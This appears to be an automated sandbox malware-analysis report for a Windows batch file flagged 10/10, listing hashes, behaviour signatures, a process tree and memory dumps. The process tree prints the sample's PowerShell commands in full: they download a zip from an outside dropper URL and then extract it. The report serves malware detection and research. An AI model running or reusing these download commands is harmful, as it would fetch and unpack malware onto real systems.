1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1564s
max time network
1577s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 10:14

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General

Target

tesy - Copy (10).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1624	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1624	powershell.exe
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 1624	2580	cmd.exe	29
PID 2580 wrote to memory of 1624	2580	cmd.exe	29
PID 2580 wrote to memory of 1624	2580	cmd.exe	29
PID 2580 wrote to memory of 2972	2580	cmd.exe	30
PID 2580 wrote to memory of 2972	2580	cmd.exe	30
PID 2580 wrote to memory of 2972	2580	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2f8b9d6eb6fa5954bc59cc130d0068a1

SHA1
c51a0ba4b4bb547df15c821591715bb23ab77a5f

SHA256
26c3147119f6ffdf3bdd98b87b445cd600150c4f12398001dd0e142d6a59fc76

SHA512
c15faa21a7dbee7a9fbb967dc537c59e66ee6feae8164c166a7faf61812590029b1be08d5385672fd023bdbf1bcf0afbd1fe5d99a74293c442d74685b82b2423

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S9JPS7ZT8RXDK1VNHL87.temp

Filesize
7KB

MD5
2f8b9d6eb6fa5954bc59cc130d0068a1

SHA1
c51a0ba4b4bb547df15c821591715bb23ab77a5f

SHA256
26c3147119f6ffdf3bdd98b87b445cd600150c4f12398001dd0e142d6a59fc76

SHA512
c15faa21a7dbee7a9fbb967dc537c59e66ee6feae8164c166a7faf61812590029b1be08d5385672fd023bdbf1bcf0afbd1fe5d99a74293c442d74685b82b2423

Download Submit
memory/1624-16-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-14-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-8-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-9-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-10-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-11-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/1624-12-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/1624-6-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/1624-18-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/1624-15-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-7-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-4-0x000000001B090000-0x000000001B372000-memory.dmp

Filesize
2.9MB

Download
memory/1624-13-0x0000000002260000-0x00000000022E0000-memory.dmp

Filesize
512KB

Download
memory/1624-5-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

Download
memory/2972-24-0x000000001B420000-0x000000001B702000-memory.dmp

Filesize
2.9MB

Download
memory/2972-25-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2972-26-0x00000000023F0000-0x0000000002470000-memory.dmp

Filesize
512KB

Download
memory/2972-28-0x00000000023F0000-0x0000000002470000-memory.dmp

Filesize
512KB

Download
memory/2972-27-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2972-29-0x00000000023F0000-0x0000000002470000-memory.dmp

Filesize
512KB

Download
memory/2972-30-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2972-31-0x00000000023F0000-0x0000000002470000-memory.dmp

Filesize
512KB

Download
memory/2972-32-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download